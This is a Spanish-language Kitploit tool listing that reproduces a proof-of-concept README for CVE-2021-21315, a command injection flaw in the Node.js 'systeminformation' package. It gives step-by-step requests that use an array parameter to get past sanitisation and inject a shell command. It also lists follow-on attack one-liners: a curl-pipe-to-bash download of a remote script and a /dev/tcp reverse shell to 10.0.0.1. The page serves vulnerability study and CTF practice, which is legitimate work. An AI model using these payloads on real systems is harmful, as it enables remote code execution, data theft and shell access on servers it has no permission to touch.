Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-21315-PoC — CVE 2021-21315 PoC | Kitploit
Herramientas/GitHubGitHub/forbiddenprogrammer/cve-2021-21315-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación
GitHubforbiddenprogrammer/cve-2021-21315-poc

CVE-2021-21315-PoC

CVE 2021-21315 PoC

Ver Repositorio
160252hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-21315-systeminformation

Esto es una prueba de concepto para CVE-2021-21315 que afecta a The System Information Library para Node.JS (paquete npm "systeminformation"). npmjs.com/systeminformation

"asegúrese de comprobar o sanear los parámetros de servicio que se pasan a si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... solo permita cadenas, rechace cualquier array. El saneamiento de cadenas funciona como se espera."

Debido a que es una vulnerabilidad no bien explicada (en mi opinión), decidí codificar una pequeña aplicación basándome en la versión vulnerable de systeminformation. El PoC contiene:

  1. Aplicación de prueba hecha en Node.js, usando express y systeminformation vulnerable
  2. Payload de prueba simple para crear un archivo .txt en la máquina afectada

Pasos para reproducir:

  1. Ejecute la aplicación en un entorno de servidor Linux
  2. Haga una solicitud GET a site.com/api/getServices?name=nginx (nginx es solo un ejemplo) obraz
  3. Ahora intente enviar una solicitud como esta: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt) obraz

Esto fallará, debido al saneamiento de cadenas: obraz

Como se dice en los detalles del CVE: "el saneamiento funciona como se espera, rechace cualquier array [...]"

  1. Ahora intente enviar la solicitud: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) obraz Esta vez, si observa el valor de "name", no fue saneado: ¡éxito! Veamos si el comando se ejecutó
Descargar herramienta

obraz

¡Éxito! Nuestro comando se ejecutó. Por supuesto, a nadie le importa "pwn.txt", pero un atacante potencial puede:

  1. Subir archivos internos, como index.js (núcleo de nuestra aplicación, con posibles claves de API, cadena de conexión a la base de datos y otros) u otros
  2. Descargar y ejecutar scripts - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
  3. Shell inversa - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
  4. Matar procesos (también puede matar nuestra aplicación de prueba node)
  5. Cosas aún más malvadas....

"Inyección de comandos" suena inocente, pero puede tener un gran impacto si se cumplen ciertas condiciones

El problema se solucionó en la versión 5.3.1 de "systeminformation" Créditos a https://www.huntr.dev/users/EffectRenan (Él encontró la vulnerabilidad; sin embargo, en mi opinión, su "PoC" no mostró el impacto en el mundo real)

Además, no duden en usar este PoC en algunos CTF, pero sería genial que acrediten al autor del hallazgo - EffectRean y al creador del PoC - yo, ¡saludos!

Aviso legal

Este proyecto solo puede utilizarse con fines educativos. Usar este software contra sistemas objetivo sin permiso previo es ilegal, y cualquier daño derivado del mal uso de este software no será responsabilidad del autor.